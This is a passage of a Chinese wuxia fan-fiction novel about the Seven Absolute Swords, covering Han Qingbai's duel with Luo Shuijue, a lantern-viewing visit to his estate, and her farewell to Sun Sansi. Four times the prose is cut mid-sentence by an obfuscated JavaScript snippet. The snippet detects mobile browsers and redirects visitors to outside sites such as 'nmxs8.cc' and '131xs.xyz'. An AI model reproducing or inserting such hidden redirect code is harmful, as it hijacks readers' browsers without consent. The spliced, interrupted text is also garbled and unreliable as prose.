果不其然,狄飞惊接下来说的就是他们从梁何那里得到的消息。长空帮覆灭,一是高层一百多人被毒杀,二是帮中重要人物梅醒非之死,白愁飞和梁何合谋下毒暗算了长空帮高层,夺得长空神指,天下第七奉蔡京命令暗杀梅醒非,可以说他们两个就是长空帮这一原先江湖上赫赫有名的大帮销声匿迹的罪魁祸首。 吴奋斗曾对寒轻白感慨白愁飞擅长釜底抽薪,狄飞惊于这一招也玩得非常娴熟。 狄飞惊直接说开了这件本该是被白愁飞和天下第七掩盖起来的秘密,这样一来,天下第七便没有了继续帮白愁飞的理由。 吴奋斗不说话,也不参与其中,但跟走神盯着天下第七的温火滚不同,跟时不时瞅一眼雷纯的孙忆旧和百无聊赖的何难过不一样,他听得兴致勃勃,苏梦枕和雷纯孽缘也好,金风细雨楼与六分半堂的经年纠葛也罢,他先前一直都很感兴趣,听了不少人的说法。 现在还能听见天下第七和白愁飞之间的算计和过往,而且还不用卖命干活,吴奋斗觉得这回跑这么一趟当一阵背景板还挺值的。他记得寒轻白也对这些事情很感兴趣,她没能来听一听真是太可惜了。 话已说到了这一地步,白愁飞若是不死在这里,苏梦枕难以跟手下交代,雷纯也不会善罢甘休。 七绝神剑作壁上观,冷眼瞧着苏梦枕和王小石出手,最终由苏梦枕为他们的这段情谊做了一个了结。红袖刀出,断了这想飞之心永远不死的人的生机。 雷纯嘴角带笑,跟苏梦枕几人告别后,转身走了。八大刀王、七绝神剑、天下第七、任劳任怨和四大剑派掌门等人也没了留在金风细雨楼的理由,纷纷离开。 外人离开后,王小石仍惆怅,但还是勉强对苏梦枕露出一个笑脸。 “大哥这段时间在哪,可还安好?” “还好。这段时间辛苦你了,小石头。本来没想将你牵扯进来,却还是叫你操了心。” 苏梦枕失踪是因为受到刺杀不假,但他后来躲藏起来是出于他自己的考虑,杨无邪找了一个瓦子巷里靠近六分半堂的地方,苏梦枕这段时间就在这里旁观京城中的风起云涌。 雷纯没有找到他也是由于灯下黑的缘故,她没想到苏梦枕居然会藏在接近六分半堂的地盘上。不过当苏梦枕出来之后,她再想怎么样,也已经迟了,于是只好就此作罢。 “大哥这说的是什么话,你有难,我怎么可能袖手旁观。”王小石正色道。 苏梦枕本欲再说些什么,忽得连连呛咳起来,他咳得撕心裂肺,像是要把肺腑都呕出来一样。掩住口的手帕在咳完后染上了血。 “我们上象牙塔里说吧,叫树大夫给大哥你看一看。”王小石关切道。 “公子。”杨无邪一脸关心,表达出来的意思跟王小石相近。 “好。”苏梦枕说。 金风细雨楼重新由苏公子苏梦枕执掌大权,一部分风雨楼子弟将其奉若神明,一心一意听从他的指挥,有些墙头草在白愁飞和王小石当权的时候很顺从,现在换回了苏梦枕也不例外,依旧听从指挥。还有一小部分对于苏梦枕来说就相当棘手,他们是支持白愁飞的人,但对金风细雨楼也无大错,真要下狠手去处理一刀切未免显得有些不讲情面,以及一些被白愁飞换掉的京城以外其他地方的堂主,这些都是耗时间耗精力的工作。 所以对于雷纯在这件事情中不知真心还是假意的帮忙,以及在苏梦枕失踪期间对王小石的支持,苏梦枕便将金风细雨楼暂时顾及不到的生意分给了六分半堂,算是报酬。人情债往往更难还,还不如用钱财早点结算掉更好。 六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146889|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分半堂吃下这块利益,又得了蔡京赞许,雷纯的位置变得更稳当了几分。 这些事情跟七绝神剑没什么关系,反正不管雷纯究竟能在这件事情中获得多少利益,七绝神剑都拿不到与之能相提并论的酬劳,再加上他们在其中也没出过几分力,索性就当个乐子看。 温火滚回去后,直接问了寒轻白跟她打成这个样子的人是不是天下第七。寒轻白回答说是。 “你怎么跟他对上的?我看他好像也没专门留意我们,说明他不知道你是谁,而且要是起冲突的话你报你小师兄的名字不就行了吗?何必打成这个样子,两个人都伤的不轻,我看他现在身上伤也没好。” “我说了的话你不要打我。” “你说吧,我听着,就你现在这情况就算我想打你,我也不敢打。” 得了温火滚的保证,寒轻白把头从被子里探出来。 “因为小师兄没跟我打过。” “什么意思?” “小师兄没跟我打过,但是他之前跟我说,天下第七非常棘手,即使他对上也不一定能打赢。” “所以你就想去跟天下第七打一场,这样就能看出来你跟你小师兄之间还有多少差距了?”温火滚只觉匪夷所思。 “是的。”寒轻白捏着被子点头。 温火滚深吸一口气,又缓缓吐出。最后在寒轻白紧张的视线下,伸手用中指指节弹了她的额头一下。 “诶呦!” “不是说好不打我的吗……” “我还当你是为了帮新认识的小姐妹什么的,想着听完就当没听见算了,结果是为了这种理由,你可真是……要想知道跟你小师兄之间的差距,等你伤好了找你小师兄打去,至少你小师兄不会把你肚子捅烂。” “可小师兄不会认真跟我打。” 温火滚有些无奈,他道:“但你找他打确实没什么意义,他一向都是一招必杀,如果一击不成就立刻撤退再寻机会。只要你没他快,那你就丧失了先机,再加上他用脚发剑,出剑角度本就诡谲毒辣,要是他动真格的,只要一招没挡住,那人就死了。与其跟他打,不如要你梁师兄当你陪练,他使的是快剑,还能练练你的反应速度,要不你余师兄或是孙师兄都行,他们出剑奇诡妖异,角度飘忽刁钻,都能陪你练刀。” 寒轻白又重新缩回了被子里,她不说话,被子把她的脸遮住,也叫人看不见她的表情。 “要不这样吧,等你小师兄得空了,我把他喊过来,你跟他认真说,让他跟你比一次,怎么样?” “他最近很忙吗?” “不知道,反正没怎么见到他人。你把天下第七打伤了,到现在身上都还有血味,太师有事不就要找你小师兄了吗?” “那是他自己恢复能力差,怪不到我。” 温火滚连声说是,“肯定怪不到你,是他自己能力不行。” 26.来比一场 罗睡觉听了温火滚的来意,闭着眼睛说:“我觉得没必要。” 温火滚也觉得没必要,但话不能这么说,对于罗睡觉的拒绝,他只道:“小寒坚持想知道她现在跟你差在哪里。” “你不能跟她打吗?” “你的剑术出类拔萃,别具一格,我都已经跟她打了好些年了,她到了庐山我就在跟她练,她现在就想跟你打。” “这样吧,你跟她讲,等她伤好了,我可以跟她打一场,但是有条件的,如果我赢了,她要答应我一件事情。” 温火滚盯着他看了一会,才道:“你别太过分。” 罗睡觉只冷哼一声,算作回答。 回去之后,温火滚转达了罗睡觉的回复,寒轻白非常爽快地就答应了。 寒轻白的伤好得很快,甚至可以说有些过分得快了,她下床活蹦乱跳的时候太师府的天下第七伤口处还裹着绷带,很明显伤没好完。 罗睡觉履行承诺,打算跟寒轻白去京外某个山上偏僻的地方打一架,知道这事并且有空的七绝神剑都来旁观。 孙忆旧本来不想凑这份热闹,比起上山看人打架,他宁愿醉在温柔乡里。但是吴奋斗有句话说服了他,寒轻白比他们年纪都小,她甚至比罗睡觉还小,如果她能打败罗睡觉,或者是说跟罗睡觉打个平局,是不是意味着罗睡觉在他们几人中的地位并非不可撼动,也不一定要他来当这个七绝神剑之首。 寒轻白和温火滚是一个师父教的,又一起在庐山长大,关系非比寻常,如果寒轻白能跟罗睡觉打个平手,那再加上一个温火滚如何?他们师兄妹二人联手,岂不是能技压同门? 抛去寒轻白不谈,他们七人常年比试争斗,没有谁会甘心有人一直压在自己头上。 “所以这不是小寒提出的一次玩闹,是她和老温向罗老幺发出的挑战。”孙忆旧恍然大悟。 “不过我觉得小寒估计没想这么多。”在孙忆旧说出这话之后,吴奋斗笑嘻嘻地补充道。 余厌倦慢吞吞道:“但小寒没想,不代表我们不可以这样想。” “难怪你们叫我也去,那就去看看罗老幺这回如何表现吧,他要能把小寒摁下去,依旧是同门中那个最厉害的,咱们也无话可说。” 吴奋斗都能想到的事情,罗睡觉自然也能想得到。要论剑法、名气、威望、地位,罗睡觉皆位列七绝神剑之首,温火滚仅次于他,一直跃跃欲试想要挑战他的地位,超越他自己当老大,不过挑战他的地位绝非这次温火滚代寒轻白传话的本意。 在罗睡觉看来,温火滚有时候有些迂腐,他要挑战、要杀人,就堂堂正正出剑,绝不搞那些虚头巴脑的。他甚至厌恶那些靠阴谋诡计成事的军师。所以他要挑战罗睡觉的地位,就只会算他一个人,不会把寒轻白也算作自己的助力。 但是温火滚不这么想,不代表别人不这么想,罗睡觉要当好他的七绝神剑之首,就要把所有的刺头都摁下去,不然破例了一个,剩下的也会有学有样。 罗睡觉看着握刀的寒轻白,少年姣好的面容上看不出什么情绪,一双乌亮的眼望过去,看上去有几分稚气,还有些可怜。 “你先。”他说。 寒轻白在说好的同时,已然上步提刀朝罗睡觉挥去。 她的起手式很眼熟,无论是罗睡觉也好,其他神剑也好,都看得分明,寒轻白跟温火滚的起手式如出一辙,但是温火滚用的是剑,寒轻白用的是刀。武器的区别造就了他们进攻上的不同,剑更快,更锋利,刀则要更厚重一些,但相应的,罗睡觉要寻得她进攻时的空隙会更困难。 他用脚发剑,意味着他力道更大角度更奇特的同时,也要更危险,因为他一定会比用手持剑时整个人要更靠近寒轻白,刀锋所携裹的力道随时都能够攻击到他。 罗睡觉之所以被称为剑,是因为他就是剑,剑就是他,心随意动,意随心生,没有固定的招式和章法拘束他的发挥,以至于叫他的出招看上去也令人捉摸不透,往往在看到他的时候才意识到这时反应已经迟了。 黑皮肤耳朵白的少年闭上了眼,他高高跃起,从空中接近寒轻白。 剑光一闪。 这一剑如梦。 梦中出剑的少年以一种十分毒辣的角度使出了这一招,剑芒斜斜地避开刀锋,似朝着寒轻白的腰腹而去,她已经感受到了剑气带来的森森寒意,似要直入肺腑。 罗睡觉一出手就是绝杀,没有任何缓冲,拿出了他梦魇一般令人难以招架的剑术。 罗睡觉的攻击厉而辣,狠而毒。 然而刀锋并非如常人所想,对罗睡觉的脚剑招架不住,刀意温婉轻灵,像潺潺溪流,轻巧而灵动地绕开了罗睡觉的攻击,就像水流绕开挡路的石子,森森剑气并未对侧身避开的寒轻白造成多少伤害。 在躲开这一击后,寒轻白的刀又变了。如果说之前还是涓涓细流,这一刀已然变成了庐山上倾泻的瀑布,飞流直下三千尺,迅猛的冲击力带着一往无前的气势,刀意森森,与剑气的寒芒不逞多让。 寒轻白先发招,罗睡觉若是回招应对,便慢了她一拍。这一慢,对于身形细瘦窈窕、往往借助速度和巧劲出剑的少年而言则是致命的,说到底,他并没有寒轻白那样大的力气。 所以罗睡觉不应对。 他不以自己的弱点去对寒轻白的优势。他选择扬长避短。 他在空中向上翻了一个筋斗。 这下,他直接就避开了寒轻白迅猛的攻势,而且剑锋直指寒轻白的头颅。森森的剑气叫寒轻白眼前似乎也变得白茫茫,呼出的气也成了白雾。 在没有任何借力的空中,罗睡觉又翻了一个筋斗。剑气玄之又玄地擦过寒轻白的头,像毛笔轻轻点了一下,带过一阵轻柔的风。 寒轻白只觉得头上一松,发带飘飘悠悠落了地,随后头发散了下来。 胜负很明显,罗睡觉的剑气先一步割破了寒轻白的发带,这已是他看在寒轻白的面子上留手的结果。他的剑气可以割破寒轻白头上的发带,就意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15157927|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他本可以用凌厉的剑气斩断她的头颅,将其劈成两半。 在割断她的发带后,这黑皮肤的少年才斜斜向寒轻白的背后飘去。额前的几缕碎发遮住了他的右眼,乌亮乌亮的左眼盯着转过身的寒轻白。 他的呼吸不太均匀,他已有些累。 罗睡觉倦倦地朝她笑了一下。 “如何?” 寒轻白收刀入鞘,她抿了抿嘴。 “我输了。” 罗睡觉赢了,这不是一个令其他人意外的结果。但是寒轻白的进步也很明显,甚至瞧着有些可怕了。刀意如流水,灵动轻巧,在柔与刚之间转换得极为自然,叫其他神剑忍不住扪心自问,如果他们在罗睡觉当时那个处境,他们可以接下寒轻白的这一刀吗?可以像罗睡觉一样转守为攻,将局面在一瞬间转为自己的优势吗? 有些人会想接不住难道还躲不掉、认不了输吗,又不是什么生死之斗,接不住寒轻白的一刀也不会死在这里。可一旦产生逃的想法,就意味着他不得不避其锋芒,已经下意识承认自己打不过寒轻白了。 其他人心里怎么想的,寒轻白管不着。她在家里琢磨了两天,回想自己跟罗睡觉打的时候可以改进的地方,温火滚也陪她回顾当时的细节,他就在一旁观战,旁观者清,自然比寒轻白瞧得更为分明。 何难过和梁伤心得知他们两个人窝在家里做什么之后,也加入了课后复习小组,提出自己的想法和见解。不同的角度不同的人说出的看法也不一样,梁伤心虽剑术造诣远比不得其他人,但他早年读过的书也并非全都化作肚子里的不合时宜,时不时也会提出一点巧思。 “虽然不知道小寒你最近都学了些什么东西,刀法风格与以往大为不同,我觉得虽然这回没能叫罗老幺受挫,但可以继续朝这方面钻研,以柔化刚,刚柔并济,就像小何的剑法一向是以慢打快,你也可以是水火相容,没必要分得太开。” 在寒轻白将这场战斗消化得差不多了的时候,罗睡觉的香梦苑也建好了,宅子落了地,蔡京对罗睡觉的礼待也摆在了明处,远超七绝神剑其他人。 黑皮肤耳朵白的少年从墙上翻进来,他眨了眨眼,乌亮乌亮的眼睛一转,多了几分灵动,姣好昳丽的面容上露出浅浅的笑意,他轻声对寒轻白道:“宅子建好了,要不要来逛一逛?你说的食铁兽也有,已经在那了。” 温火滚翻了个白眼。他不出声,罗睡觉也当没看见他。 寒轻白歪头想了想,回想起自己确实有跟罗睡觉说起熊猫的事情,于是点了点头。 “好啊。” 寒轻白点头答应,温火滚也没有阻拦的理由,他只问她要不要留灯。 “就住在我那里吧,晚上还可以赏灯。”罗睡觉说。 “可以挂很多灯然后坐在屋顶上看吗?” “可以。”罗睡觉点头。 “那行,我们走吧。师兄我明天回来。”寒轻白挥手。 “自己悠着点啊,别乱晃。”温火滚也挥手。 27.跟小罗贴贴 香梦苑是一个很大的宅邸,蔡京取名时以苑这个字结尾,因为它不仅占的位置大,没有公摊面积,而且还建有不少园林景观。 雕梁画栋,飞檐斗拱,粉墙黛瓦,虽说比不上滕王阁披绣闼,俯雕甍,山原旷其盈视,没有故宫红墙黄瓦宏伟壮丽,但也远比温火滚租的那宅子华美精致不止一点,珍禽异兽,奇花异草,侍候的仆婢各个也有一副好相貌,虽然没有武功,但一个个都浑身绝技,走路的时候轻得像只猫一样,低头恭敬一点声也不出。 寒轻白走进来的时候,下意识总想找一下售票处和游客中心。 “在找什么?”罗睡觉看她好像在寻找什么,便问。 “没什么。”寒轻白摇摇头。 “要是觉得人太多不自在的话等一会就好了,等进到里面去就没什么人了。” 罗睡觉的回答显然跑偏了方向,不过寒轻白也无意告诉他其实自己刚才是在找不存在的游客中心。 她倒没觉得人多,一是这些仆婢都受过专业训练,安静得像木头人,毫无存在感,乍一看见还有点吓人,二来这里的人本来也不怎么多,她以前去山东孔庙逛的时候那人才叫一个多,摩肩接踵人山人海,叫人不禁感慨金榜题名从来都是不变的追求。 一个侍女引他们去了养食铁兽的地方,随后就离开了。食铁兽被隔开,由专人负责饲养,跟老虎豹子等动物一样有自己的一片区域,毕竟就算不考虑它能咬坏炊具的尖牙,也要考虑到它跟虎豹一样的力气。 寒轻白看着它们黑黑圆圆的耳朵一动一动的,黑色毛毛里乌亮乌亮的眼睛,像一对大大的黑眼圈。她心念一动,直接翻进去就上手去摸了,它们的毛摸起来不比猫咪的顺滑,有点扎手,但没关系,它可是大熊猫。 她想起来以前看到过的跟熊猫有关的趣闻。因为好多熊猫都是人工圈养的,由饲养员带大,所以它们掰竹子的动作都是人教版的。饲养员力气不大,想要把竹子掰断,要用很大力气,不得不用力到呲牙咧嘴才能成功,所以熊猫们也有学有样,有的掰竹子的时候忘了还会在之后重新补上呲牙的动作。 罗睡觉对食铁兽这种猛兽无感,他记得温火滚以前提过寒轻白在庐山上时就会找老虎去玩,所以他猜测她大概挺喜欢猛兽的,先前跟他独独提起想看食铁兽的时候罗睡觉也不意外。 现在看她这副喜欢食铁兽的模样,一时半会大概想不起来他。 罗睡觉摆摆手,叫其他人都下去,只让他们留了些点心和水,不叫人去打扰寒轻白玩熊猫。他自己则随便找了个平坦些的地方,就地一躺,闭上眼睛睡了,等寒轻白玩够了自会来叫他。 “小师兄,我玩好了!” 罗睡觉睁开眼,看见寒轻白的笑脸,她身后是已经变得黄澄澄的天空。看来她真的很喜欢食铁兽,跟食铁兽一起玩了这么久。 吃过饭之后,寒轻白想起比试之前罗睡觉要温火滚转达的话,她开口问道:“对了,我记得比试输了的话你有一个要求对吧,小师兄,你需要我做什么?” “……闭眼,闭上眼吧。” 寒轻白闭上了眼。 罗睡觉没有说话,她也没有睁眼。 等了一会后,呼吸声开始接近,一个轻柔的触感落在她的眼上,一触即离,闭上的眼睛下意识颤动了一下。很快,潮湿的呼吸接触到她的脖颈,他把头侧靠在她的颈窝上。 闭上眼之后其他感官都会增强,并不会影响寒轻白感知外界的动静。罗睡觉没有了其他举动,只是就这么靠着,也没说叫她睁眼。 寒轻白抬手,搂住他,可能是摸熊猫摸出了惯性,她这会也像摸熊猫一样摸着罗睡觉的脊背。 罗睡觉的左手环腰抱住了她,整个人都挨在她身上,呼吸也变得平缓,就好像睡着了一样。不过也只是像,他并没有真的睡着,就这样挨在一起抱了一会后,他说好了,但人并没有起来,还是这样靠着她。 只有他们两个人在的时候,罗睡觉就喜欢这样挨挨蹭蹭,刚来京城的时候他们也手拉手在屋顶上看了会集市的热闹和天上的星星,所以寒轻白睁眼后也没有挪动位置,有一搭没一搭地轻拍着他的后背。 “为什么提出的条件是要我闭眼?” “你之前说过,眼睛是心灵的窗户,我无缘无故叫你把窗户关上,你肯定不乐意。”罗睡觉倦倦地说。 “确实是这样。”寒轻白被说服了。 “等天黑了,我们去屋顶上看灯。我已经跟他们提前说过了,花灯都会挂好的。” “好啊,不过你这样说话,我感觉有点痒。” “……要我起来吗?” “起来吧。” “好。” 罗睡觉坐起来后,寒轻白伸手摸了摸他的头,望着他的眼睛说:“是不是最近太累了,小师兄,太师府的工作我不太懂,之前提出要比试是不是让你困扰了,是不是应该换一个时间比较好?” “别担心,没有影响的。” 寒轻白要收回手的时候,罗睡觉抬手握住她的手腕,头稍微偏了偏,让她的手心挨上自己的脸。 “以后你想来这里玩,随时都可以。” “那给我留一间屋子?” “当然。”罗睡觉笑了笑。 于是寒轻白也笑。 她知道罗睡觉并非是一个很容易相处的人,有时候说话也会让她不舒服,可是罗睡觉实在很擅长在她面前利用自己的优势。他的容貌姣好昳丽,眼睛又黑又亮,带着点稚气,看着他的脸的时候很难叫人对他生气,而且仅有他们两个人,没有其他人的时候,小师兄一向很顺着她。 虽然这话说出来肯定会让温火滚翻白眼,但在私底下他们两个人相处的时候,小师兄真的表现得很可爱。 晚上的屋顶有些冷意,微风拂过,寒轻白俯视苑里挂起的花灯,各式各样的花灯都有,从屋顶这个角度看,就好像夜晚飞机快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15157928|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要降落时从小窗户往城市里看亮成一片的霓虹灯。 “挂了好多花灯。”寒轻白感慨道。 罗睡觉嗯了一声,“因为之前就让他们早早准备了,各种样式的都有,螃蟹、鱼之类的,还有老虎和食铁兽的。” “我看到了,应该是特意做的吧,胖乎乎,还挺可爱的。” “今天没有月亮,天上的星星也很亮,所以天上也挂了花灯,小师兄,你知道吗,就在天空之上,有很多石头,它们绕着我们在的这个世界转啊转,从我们的角度去看,就变成了亮晶晶的星星。” “那你喜欢吗?” “很喜欢,在山上的时候晚上就抬头看星星,星星一直没有变过。小师兄晚上会看星星吗,还是就入梦练剑了?” “还不会梦中练剑的时候会看,毕竟在山上的时候也就那么回事,没什么可玩的,睡不着就只能发呆看天,后来能够在梦里练剑时就没怎么看过了。” “说到练剑,我本来以为我最近已经有不少进步了,没想到还是打不过你。” “也不用气馁,跟以前相比确实有不少进步,时机把握得很好,刀意也有不少长进。不过你为啥想打过我?” “就跟你们想变强一样,我也想变厉害。” “变得很厉害之后想做什么?” “没有想好,应该也不会有什么变化吧。” “怎么会没有变化,比其他人都强之后,能做到的事情就更多了。就像我,太师如今信重我,因为我有用,而且我比其他人剑法要更高超不是吗?” 寒轻没有回答是或不是,她问道:“你想撇开其他师兄单干?” “我本来就没跟他们搭过伙。出去干活的时候一般我也是一个人行动的。” “你呢,会想从温扫眉那里搬出来吗?” “在京城我肯定住师兄那里,京城的房子租金太贵了,另外租一个不划算。等过一段时间我应该会去别的地方看一看,具体去哪里还没想好。” 京城地图虽然好玩,但强敌也多,寒轻白打算再去别的地图走走,变强之后再回来打败天下第七。那个包袱一摊开就放出闪光弹一样炫目光芒的招数真的让她念念不忘,实在是太离奇了,天下第七出招的时候也没有念出招数名,所以寒轻白现在也不知道那个耀眼放光芒的招数叫什么名字。 “你这么问我,是想我搬过来住吗?” “可以吗?” “不了,这里毕竟是太师赏你的,偶尔来玩一玩可以,要是住进来就感觉怪怪的。”寒轻白拒绝了。 第二天白天,寒轻白回家后,温火滚随口问了问他们两个人都玩了些什么,得知他们晚上看完花灯之后就各回屋子睡觉了,温火滚的表情很复杂,他看起来非常惆怅。 “说真的,我都不知道该佩服你们两个谁比较好。” “罗老幺先前那么说,我还以为他会跟你提什么额外的条件,看来是我想多了。” 28.临行告别 寒轻白不知道温火滚在惆怅些个什么东西,她决定不去管他。虽然是一起长大的师兄,但有时候他的关注点也会叫寒轻白觉得莫名其妙。不过再奇怪的关注点也跟她没什么关系,寒轻白告诉了温火滚她接下来的打算。 “所以你接下来打算去扬州金陵一带去看看?” “不错,昨天去逛了小师兄的宅院,看到里面的园林景观我才想起来,西湖栖霞山我都没去看过,一直待在京城不去看看其他大好河山实在太可惜。” 寒轻白打算得很好,她继续说道:“算算时间,等我到栖霞山的时候就差不多可以赏枫了。” 温火滚对此并无异议。在他看来,寒轻白能在京城停留这么久,大多半是托了红袖刀的福,剩下那一小半才是跟天下第七打架受的伤。 就是咪咪接下来要一只猫待在宅子里,闲的时候还行,忙起来就真没办法顾着咪咪了,到时候看咪咪能不能靠捕猎把自己养活住,要实在不行再雇一个人专门照顾猫算了。 “挺好的,多带些银钱,路上花钱的地方多的是,大概什么时候走,我看再准备点东西你离开的时候带上。” “就这几天吧,等我去跟孙姐姐道别后就走。” “没问题。” 寒轻白去瓦子巷寻了孙三四,孙三四屋子似乎有人,但还是让婢女请她进来,寒轻白想说不定是她的朋友,于是也不见外,就上了楼。 坐在孙三四对面的是一位美妇人,发尾扎着蓝色头巾,容貌秀丽,面带笑容,气势不容小觑,一看便是常年主事的人。 孙三四笑道:“你先坐,来给你介绍一下,这位是毁诺城的秦晚晴,在外面可比我威风多了,有事尽管找她。” 听罢,秦晚晴也笑,她笑起来很有韵味。 “哪里有你说得那么夸张,说到毁诺城,大家伙第一个想起的可都是我们家息大娘,不过孙姑娘说得也没错,寒姑娘若是需要帮忙,尽管来找我们毁诺城就是,毁诺城本就是为了帮助姑娘们,想要世间女子都有一个可去的地方所以才建的。” 秦晚晴的事情似乎已经跟孙三四差不多说完了,所以随意聊了几句后她便离开了。 在她离开后,孙三四笑着同寒轻白说:“看来她还挺喜欢你的,我本来只是想试一下,没想到她真的愿意应承你。毁诺城原先在碎云渊,后来为了帮助戚少商被黄金麟等人攻破,先如今早已被息大娘她们操办着重建,有小雷门雷卷和赫连将军府赫连小妖的支持,比原先在碎云渊的时候还要不可小觑。有了秦晚晴这句话,你有需要,大可放心去找她们。” “这么听来倒是我占了便宜,不过刚才秦姑娘听上去确实真情实意。” “是吧,挺不错的,对了小寒,你来找我可是有事?” “我要离开京城了,来找你道别的。” 孙三四虽面露伤感之色,她倒也不意外。像她们这样靠看人脸色过活的姑娘,一眼看过去基本就能把人看穿个六七分,寒轻白的心思比她小楼里的婢女都浅,跟从盘子里盛出来的水一样,透亮清澈,她有时候都忍不住瞎担心寒轻白会不会轻易就叫她那些个什么师兄给哄骗了。 为了这个,她偶尔还见一两面梁伤心。大概是因为被寒轻白吓着酒醒了一次的缘故,梁伤心比一开始早几次的时候看着安分多了,见孙三四真情实意关心寒轻白,他被问起也一五一十地说,偶尔还加两句自己的感慨。 “小寒心思确实简单,不过要小瞧她,觉得她好忽悠,那吃亏的肯定不是小寒。别看她把想法都摆在脸上,别人说什么就信什么,实际上真心还是假意她都分得清清楚楚,就看她乐不乐意花那功夫跟别人计较了。” 于是她问,那你们师门里会不会有人看她好骗,就哄她。 梁伤心听了她的话,没有直言不可能,而是想了想,才说:“一般不会,有老温和老余盯着,除了罗老幺,没人敢这么做。只是至于罗老幺私下里如何跟寒轻白相处的,我就不太清楚了。” 孙三四惊奇道:“我听小寒说,她小师兄有空就会来陪她玩,时不时还有礼物,她先前也带过来了几个给我,看着就是贵重又有趣的小玩意。‘剑’罗睡觉的名声我也听过,从没听瓦子巷或是小甜水巷的姐妹们提起他来玩,对小寒也很在意,但听你的话,好像又是另一回事。” 梁伤心反问道:“那你看小寒有更在意他吗?有更听他的话吗?” 孙三四歪头回想了一会,道:“应该没有吧,感觉小寒不像是能被人管得住的性格,她还说就上京这段时间,她师兄就被她气得追着她打了好几回。” “那可不,老温那火爆性子一点就燃,我和小何恰巧在的时候还救场过几次,但老温打归打,骂归骂,都是一码事归一码事,气撒完就结束了,他能把小寒带这么大,说明小寒也不怎么怕他生气,一向都是你气你的,她做她的。” “但罗老幺吧,也不知道是不是睡多了,他说话有时候藏着掖着,拐几个弯达成他的想法。他不怕惹小寒生气,因为往往他很快又能把人哄回来。” “这样啊,所以你觉得小寒跟她温师兄一个性子,生气归生气,说出来这事就翻篇了。而且他们一起长大,不管怎么说,能把一个半大的孩子养这么大,长成亭亭玉立的小姑娘,总是不容易的事情。温火滚年纪在你们中最大,排名仅在罗睡觉之下,威信还是有的,哪怕孙忆旧跟小寒不对路,也就是绕着她走,不常出现在她面前。” 孙三四耐心听着梁伤心说这么多,总结道。 “但你觉得她小师兄心思细腻,若是真哄小寒,小寒不一定转得过弯来,只是虽然可能一时半会想不明白,但她下意识都有察觉到这些事情,只是没放到明面上来摊开说。” “是啊,老温就想她开开心心的,所以能不撕破脸皮明说的,他也不出声。虽然觉得罗老幺爱装模作样,但也忍了,反正小寒该玩的也玩了,不吃亏就行。” 孙三四听梁伤心讲他的看法这事从不瞒着寒轻白,偶尔还会在跟寒轻白聊天的时候说几句,寒轻白听着也不意外,还会跟她补充着说点,就像在讲故事。 不过再有趣的故事,听一两遍也就差不多了,在孙三四看来,寒轻白从来不是会委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15159489|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的人,想去哪去哪,想做什么做什么,这样很好,叫人看着她就能感受到扑面而来的勃勃生机和野性。 而且孙三四听梁伤心的说法,应该是寒轻白和温火滚两个人住一个山头,他们的师父也会管,但估计管得不多,听说还是寒轻白的舅舅。她温师兄能养出寒轻白这样的师妹,对外人品下限不说,对内上限倒是不低,把师妹真情实意当闺女在养,师妹干什么都理直气壮的,从不担心师兄不叫她回家。 “京城这繁华富贵地看来留不住你。” 寒轻白没否认,“地方也不是很大,逛一段时间其实也就差不多了,大部分都是重复的。你的刀现在练得怎么样呀,要是你想的话,我就跟师兄借点银子,你从小楼里出来跟我一起出去玩。” 孙三四被这话逗笑了。 “我跟你师兄非亲非故的,哪能要他的银子。这事儿不用你操心,我这些年攒了不少东西,只是京城这是非地我若是还想继续待下去,要么找个靠山,要么留在瓦子巷,人家还愿意给我孙三四几分薄面。等过几年我不再年轻,不想在京城待下去,也没什么人惦记了,到时候我再去找你玩,你可不要嫌弃我没有什么好颜色,人老珠黄了。” 寒轻白正色道:“我跟你玩又不是图你年轻貌美,你放心,到时候你来找我,我会待你好的。” 在寒轻白面前,她也不用勉强自己关注仪态,笑啊嗔啊都得露出几分好姿色,听了寒轻白的话,在看到她一本正经的表情,当下孙三四连连发笑,笑得说不出话了。 